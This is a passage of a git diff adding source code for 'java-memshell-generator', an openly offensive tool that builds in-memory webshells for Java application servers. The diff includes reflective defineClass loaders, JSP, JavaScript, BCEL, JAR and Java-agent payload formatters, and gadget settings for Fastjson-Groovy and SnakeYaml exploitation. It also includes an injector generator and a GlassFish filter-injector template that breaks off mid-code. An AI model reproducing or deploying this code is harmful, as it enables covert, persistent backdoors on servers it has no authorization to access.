+
+ public void setPass(String pass) {
+ this.pass = pass;
+ }
+
+ public String getKey() {
+ return key;
+ }
+
+ public void setKey(String key) {
+ this.key = key;
+ }
+
+ public String getServerType() {
+ return serverType;
+ }
+
+ public void setServerType(String serverType) {
+ this.serverType = serverType;
+ }
+
+ public String getShellType() {
+ return shellType;
+ }
+
+ public void setShellType(String shellType) {
+ this.shellType = shellType;
+ }
+
+ public String getToolType() {
+ return toolType;
+ }
+
+ public void setToolType(String toolType) {
+ this.toolType = toolType;
+ }
+
+ public String toolType;
+
+
+ public String getHeaderName() {
+ return headerName;
+ }
+
+ public void setHeaderName(String headerName) {
+ this.headerName = headerName;
+ }
+
+ public String getHeaderValue() {
+ return headerValue;
+ }
+
+ public void setHeaderValue(String headerValue) {
+ this.headerValue = headerValue;
+ }
+
+
+
+ public String getGadgetType() {
+ return gadgetType;
+ }
+
+ public void setGadgetType(String gadgetType) {
+ this.gadgetType = gadgetType;
+ }
+
+
+ public Map getMessage() {
+ return result;
+ }
+
+ public void setMessage(Map message) {
+ this.result = message;
+ }
+
+ private Map result = new HashMap();
+
+
+ public String getExprEncoder() {
+ return exprEncoder;
+ }
+
+ public void setExprEncoder(String exprEncoder) {
+ this.exprEncoder = exprEncoder;
+ }
+
+ private String exprEncoder;
+
+ public String getExtenderSimpleClassName() {
+ return extenderSimpleClassName;
+ }
+
+
+ private String extenderSimpleClassName;
+
+ public String getLoaderClassName() {
+ return loaderClassName;
+ }
+
+ public void setLoaderClassName(String loaderClassName) {
+ this.loaderClassName = loaderClassName;
+ }
+
+ public String loaderClassName;
+
+ private String classFilePath;
+
+ public String getClassFilePath() {
+ return classFilePath;
+ }
+
+ public void setClassFilePath(String classFilePath) {
+ this.classFilePath = classFilePath;
+ }
+
+
+}
diff --git a/jmg-core/src/main/java/jmg/core/config/Constants.java b/jmg-core/src/main/java/jmg/core/config/Constants.java
new file mode 100644
index 0000000..b281dfc
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/config/Constants.java
@@ -0,0 +1,64 @@
+package jmg.core.config;
+
+public class Constants {
+
+ public static final String JMG_VERSION = "1.0.8";
+
+ public static final String JMG_NAME = "java-memshell-generator";
+ public static final String JMG_DESCRIPTION = "Java 内存马生成器";
+
+ public static final String JMG_AUTHOR = "pen4uin";
+
+ public static final String SERVER_TOMCAT = "Tomcat";
+ public static final String SERVER_SPRING_MVC = "SpringMVC";
+ public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
+
+ public static final String SERVER_JETTY = "Jetty";
+ public static final String SERVER_RESIN = "Resin";
+ public static final String SERVER_WEBLOGIC = "Weblogic";
+ public static final String SERVER_WEBSPHERE = "Websphere";
+ public static final String SERVER_UNDERTOW = "Undertow";
+ public static final String SERVER_GLASSFISH = "Glassfish";
+
+ public static final String SERVER_JBOSS = "JBoss";
+
+
+ public static final String SHELL_LISTENER = "Listener";
+ public static final String SHELL_FILTER = "Filter";
+ public static final String SHELL_VALVE = "Valve";
+ public static final String SHELL_INTERCEPTOR = "Interceptor";
+ public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
+ public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
+ public static final String FORMAT_CLASS = "CLASS";
+ public static final String FORMAT_BCEL = "BCEL";
+ public static final String FORMAT_JSP = "JSP";
+ public static final String FORMAT_JAR = "JAR";
+ public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
+ public static final String FORMAT_JS = "JS";
+ public static final String FORMAT_BASE64 = "BASE64";
+ public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
+
+
+ public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
+
+ public static final String GADGET_SNAKEYAML = "SnakeYaml";
+
+ public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
+ public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
+
+ public static final String TOOL_ANTSWORD = "AntSword";
+ public static final String TOOL_BEHINDER = "Behinder";
+ public static final String TOOL_GODZILLA = "Godzilla";
+
+ public static final String TOOL_CUSTOM = "Custom";
+
+ public static final String TOOL_NEOREGEORG = "NeoreGeorg";
+ public static final String TOOL_SUO5 = "Suo5";
+
+ public static final String EXPR_EL = "EL";
+ public static final String EXPR_SPEL = "SpEL";
+ public static final String EXPR_OGNL = "OGNL";
+ public static final String EXPR_FREEMARKER = "FreeMarker";
+ public static final String EXPR_VELOCITY = "Velocity";
+ public static final String EXPR_JS = "ScriptEngineManager(JS)";
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java
new file mode 100755
index 0000000..c8ac1d5
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java
@@ -0,0 +1,15 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+import java.util.Base64;
+
+public class BASE64Formater implements IFormater {
+ @Override
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ Base64.Encoder base64Encoder = Base64.getEncoder();
+ return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/BCELFormater.java b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java
new file mode 100755
index 0000000..757a343
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BCELFormater.java
@@ -0,0 +1,16 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.bcel.HackBCELs;
+
+import java.io.IOException;
+
+public class BCELFormater implements IFormater {
+
+
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ // 解决 BCEL 的classloader 的问题
+ byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
+ return HackBCELs.encode(bcelClzBytes).getBytes();
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoader.java b/jmg-core/src/main/java/jmg/core/format/BCELoader.java
new file mode 100644
index 0000000..20b8b71
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BCELoader.java
@@ -0,0 +1,53 @@
+package jmg.core.format;
+
+import java.lang.reflect.Method;
+
+public class BCELoader {
+ static {
+ new BCELoader();
+ }
+
+ private String getClassName() {
+ return "";
+ }
+
+ private String getBase64String() {
+ return "";
+ }
+
+ public BCELoader() {
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ try {
+ classLoader.loadClass(getClassName()).newInstance();
+ } catch (Exception e) {
+ try {
+ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+ defineClass.setAccessible(true);
+ byte[] clazzBytes = decodeFromBase64(getBase64String());
+ Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
+ clazz.newInstance();
+ } catch (Exception ee) {
+ }
+ }
+ }
+
+ public static byte[] decodeFromBase64(String input) {
+ byte[] var2 = null;
+
+ Class var1;
+ try {
+ var1 = Class.forName("java.util.Base64");
+ Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
+ var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
+ } catch (Exception var6) {
+ try {
+ var1 = Class.forName("sun.misc.BASE64Decoder");
+ Object var4 = var1.newInstance();
+ var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
+ } catch (Exception var5) {
+ }
+ }
+
+ return var2;
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java
new file mode 100644
index 0000000..17ccf38
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java
@@ -0,0 +1,77 @@
+package jmg.core.format;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import jmg.core.config.AbstractConfig;
+import jmg.core.util.JavassistUtil;
+
+public class BCELoaderGenerator {
+ public static byte[] generatorBCELoaderClass(AbstractConfig config) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ ClassClassPath classPath = new ClassClassPath(BCELoader.class);
+ pool.insertClassPath(classPath);
+ CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
+ ctClass.setName(config.getLoaderClassName());
+ ctClass.getClassFile().setVersionToJava5();
+ CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
+ getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
+ CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
+ String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
+ String[] parts = splitChunks(base64ClassString, 40000);
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < parts.length; i++) {
+ if (i > 0) result.append("+");
+ result.append("new String(\"" + parts[i] + "\")");
+ }
+ getBase64String.setBody(String.format("{return %s;}", result));
+ ctClass.defrost();
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.detach();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return null;
+ }
+
+ private static String encodeToBase64(byte[] input) throws Exception {
+ String value = null;
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Encoder");
+ Object Encoder = base64.newInstance();
+ value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
+ } catch (Exception var5) {
+ }
+ }
+ return value;
+ }
+
+ private static String[] splitChunks(String source, int CHUNK_SIZE) {
+ String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
+ char[] payload = source.toCharArray();
+ int start = 0;
+ for (int i = 0; i < ret.length; i++) {
+ if (start + CHUNK_SIZE > payload.length) {
+ char[] b = new char[payload.length - start];
+ System.arraycopy(payload, start, b, 0, payload.length - start);
+ ret[i] = new String(b);
+ } else {
+ char[] b = new char[CHUNK_SIZE];
+ System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
+ ret[i] = new String(b);
+ }
+ start += CHUNK_SIZE;
+ }
+ return ret;
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java
new file mode 100755
index 0000000..8adf8ac
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java
@@ -0,0 +1,14 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+import java.math.BigInteger;
+
+public class BigIntegerFormater implements IFormater {
+ @Override
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ return new BigInteger(clazzbyte).toString(36).getBytes();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/IFormater.java b/jmg-core/src/main/java/jmg/core/format/IFormater.java
new file mode 100755
index 0000000..bd96cf6
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/IFormater.java
@@ -0,0 +1,10 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+
+public interface IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java
new file mode 100755
index 0000000..9c0b569
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java
@@ -0,0 +1,98 @@
+package jmg.core.format;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.template.SpringMVCAgentTransformer;
+import jmg.core.template.TomcatAgentTransformer;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+
+import java.io.*;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Enumeration;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+public class JARAgentFormater implements IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
+ String className = TomcatAgentTransformer.class.getName();
+ String simpleName = TomcatAgentTransformer.class.getSimpleName();
+ if (config.getServerType().equals(Constants.SERVER_TOMCAT)){
+ className = TomcatAgentTransformer.class.getName();
+ simpleName = TomcatAgentTransformer.class.getSimpleName();
+ }
+ if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){
+ className = SpringMVCAgentTransformer.class.getName();
+ simpleName = SpringMVCAgentTransformer.class.getSimpleName();
+ }
+ String classFileName = simpleName.replace('.', '/') + ".class";
+ ClassPool pool = ClassPool.getDefault();
+// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
+// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
+
+ InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
+ File jarFile = File.createTempFile("jmg-agent", ".jar");
+ try (FileOutputStream out = new FileOutputStream(jarFile)) {
+ byte[] buffer = new byte[1024];
+ int bytesRead;
+ while ((bytesRead = jarStream.read(buffer)) != -1) {
+ out.write(buffer, 0, bytesRead);
+ }
+ }
+
+ Manifest manifest = createManifest(simpleName);
+ File tempJarFile = File.createTempFile("tempJar", ".jar");
+
+ try (JarFile jar = new JarFile(jarFile);
+ JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
+
+ copyJarEntries(jar, tempJar);
+
+ addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte));
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
+ }
+
+ private Manifest createManifest(String simpleName) {
+ Manifest manifest = new Manifest();
+ manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+ manifest.getMainAttributes().putValue("Agent-Class", simpleName);
+ manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
+ manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
+ manifest.getMainAttributes().putValue("Main-Class", simpleName);
+ return manifest;
+ }
+
+ private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
+ Enumeration jarEntries = jar.entries();
+ while (jarEntries.hasMoreElements()) {
+ JarEntry entry = jarEntries.nextElement();
+ try (InputStream entryInputStream = jar.getInputStream(entry)) {
+ tempJar.putNextEntry(entry);
+ byte[] buffer = new byte[1024];
+ int bytesRead;
+ while ((bytesRead = entryInputStream.read(buffer)) != -1) {
+ tempJar.write(buffer, 0, bytesRead);
+ }
+ }
+ }
+ }
+
+ private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception {
+ CtClass ctClass = pool.get(className);
+ ctClass.getClassFile().setVersionToJava5();
+ ctClass.setName(simpleName);
+ JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
+ tempJar.putNextEntry(new JarEntry(classFileName));
+ tempJar.write(ctClass.toBytecode());
+ ctClass.detach();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/JARFormater.java b/jmg-core/src/main/java/jmg/core/format/JARFormater.java
new file mode 100755
index 0000000..0b5d4c5
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JARFormater.java
@@ -0,0 +1,47 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+public class JARFormater implements IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ String className = config.getInjectorClassName();
+ String jarEntryFileName = className.replace(".", "/") + ".class";
+
+ Manifest manifest = new Manifest();
+ manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
+ jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
+ jarOutputStream.write(clazzbyte);
+ jarOutputStream.closeEntry();
+
+ // fastjson + groovy 的利用
+ if (config.isImplementsASTTransformationType()) {
+ String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
+ JarEntry entry = new JarEntry(entryName);
+ jarOutputStream.putNextEntry(entry);
+ jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
+ jarOutputStream.closeEntry();
+ }
+
+ // snakeyaml + loadJar 的利用
+ if (config.isImplementsScriptEngineFactory()) {
+ String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
+ JarEntry entry = new JarEntry(entryName);
+ jarOutputStream.putNextEntry(entry);
+ jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
+ jarOutputStream.closeEntry();
+ }
+ }
+
+ return out.toByteArray();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/JSPFormater.java b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java
new file mode 100755
index 0000000..f50256b
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java
@@ -0,0 +1,35 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.tools.codec.BASE64Encoder;
+
+import java.io.IOException;
+
+public class JSPFormater implements IFormater {
+
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ String strJSP = "<%\n" +
+ " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
+ " try{\n" +
+ " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
+ " }catch (Exception e){\n" +
+ " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
+ " defineClass.setAccessible(true);\n" +
+ " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
+ " byte[] bytecode = null;\n" +
+ " try {\n" +
+ " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
+ " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
+ " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
+ " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
+ " } catch (ClassNotFoundException ee) {\n" +
+ " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
+ " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
+ " }\n" +
+ " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
+ " clazz.newInstance();\n" +
+ " }\n" +
+ "%>";
+ return strJSP.getBytes();
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java
new file mode 100755
index 0000000..43a910d
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java
@@ -0,0 +1,36 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.tools.codec.BASE64Encoder;
+
+import java.io.IOException;
+
+public class JavaScriptFormater implements IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
+ "try{\n" +
+ " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
+ "}catch (e){\n" +
+ " var clsString = classLoader.loadClass('java.lang.String');\n" +
+ " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
+ " var bytecode;\n" +
+ " try{\n" +
+ " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
+ " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
+ " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
+ " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
+ " } catch (ee) {\n" +
+ " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
+ " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
+ " }\n" +
+ " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
+ " var clsByteArray = classLoader.loadClass('[B');\n" +
+ " var clsInt = java.lang.Integer.TYPE;\n" +
+ " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
+ " defineClass.setAccessible(true);\n" +
+ " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
+ " clazz.newInstance();\n" +
+ "}";
+ return strJS.getBytes();
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java
new file mode 100644
index 0000000..f3124bd
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java
@@ -0,0 +1,14 @@
+package jmg.core.generator;
+
+import javassist.ClassPool;
+import jmg.core.config.AbstractConfig;
+
+public interface IShellGenerator {
+ ClassPool pool = ClassPool.getDefault();
+
+ void initShell(AbstractConfig config);
+
+ byte[] makeShell(AbstractConfig config) throws Exception;
+
+ byte[] modifyShell(String className, AbstractConfig config);
+}
diff --git a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java
new file mode 100644
index 0000000..b316e4b
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java
@@ -0,0 +1,95 @@
+package jmg.core.generator;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.CtClassUtil;
+import jmg.core.util.InjectorUtil;
+import jmg.core.util.JavassistUtil;
+
+
+/**
+ * 注入器生成
+ */
+public class InjectorGenerator {
+ public byte[] makeInjector(AbstractConfig config) throws Exception {
+ String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
+ String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
+ byte[] bytes = UtilPlus.generate(injectorClassName, config);
+ config.setInjectorBytes(bytes);
+ config.setInjectorBytesLength(bytes.length);
+ return bytes;
+ }
+
+
+ public static class UtilPlus {
+ @SuppressWarnings("unchecked")
+ private final static ClassPool pool = ClassPool.getDefault();
+
+ public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
+ pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
+ CtClass ctClass = pool.getCtClass(injectorTplClassName);
+ ctClass.getClassFile().setVersionToJava5();
+ String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
+
+ String urlPattern = config.getUrlPattern();
+ String shellClassName = config.getShellClassName();
+
+ if (base64ShellString != null) {
+ CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
+ String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < parts.length; i++) {
+ if (i > 0)
+ result.append("+");
+ result.append("new String(\"" + parts[i] + "\")");
+ }
+
+ getBase64String.setBody(String.format("{return %s;}", result));
+ }
+
+ if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
+ CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
+ getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
+ }
+
+ if (shellClassName != null) {
+ CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
+ getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
+ }
+
+ JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
+ ctClass.detach();
+ return bytes;
+ }
+
+ private static String[] splitChunks(String source, int CHUNK_SIZE) {
+ String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
+ char[] payload = source.toCharArray();
+ int start = 0;
+ for (int i = 0; i < ret.length; i++) {
+ if (start + CHUNK_SIZE > payload.length) {
+ char[] b = new char[payload.length - start];
+ System.arraycopy(payload, start, b, 0, payload.length - start);
+ ret[i] = new String(b);
+ } else {
+ char[] b = new char[CHUNK_SIZE];
+ System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
+ ret[i] = new String(b);
+ }
+ start += CHUNK_SIZE;
+ }
+ return ret;
+ }
+ }
+
+
+}
+
+
diff --git a/jmg-core/src/main/java/jmg/core/jMGCodeApi.java b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java
new file mode 100644
index 0000000..1478674
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java
@@ -0,0 +1,52 @@
+package jmg.core;
+
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.format.*;
+
+public class jMGCodeApi {
+ AbstractConfig config;
+
+ public jMGCodeApi(AbstractConfig config) {
+ this.config = config;
+ }
+
+ public byte[] generate() throws Throwable {
+ byte[] clazzBytes;
+ clazzBytes = config.getInjectorBytes();
+ if (clazzBytes == null) {
+ return null;
+ }
+
+ // 格式转换
+ byte[] bytes = null;
+ switch (config.getOutputFormat()) {
+ case Constants.FORMAT_BCEL:
+ bytes = new BCELFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JSP:
+ bytes = new JSPFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JAR:
+ bytes = new JARFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JAR_AGENT:
+ bytes = new JARAgentFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JS:
+ bytes = new JavaScriptFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_BASE64:
+ bytes = new BASE64Formater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_BIGINTEGER:
+ bytes = new BigIntegerFormater().transform(clazzBytes, config);
+ break;
+ default:
+ bytes = clazzBytes;
+ break;
+ }
+ return bytes;
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java
new file mode 100644
index 0000000..857e644
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java
@@ -0,0 +1,208 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+public class GlassFishFilterInjectorTpl {
+ public String getUrlPattern() {
+ return "/*";
+ }
+
+
+ public String getClassName() {
+ return "";
+ }
+
+ public String getBase64String() throws IOException {
+ return "";
+ }
+
+ static {
+ new GlassFishFilterInjectorTpl();
+ }
+
+ public GlassFishFilterInjectorTpl() {
+ try {
+ List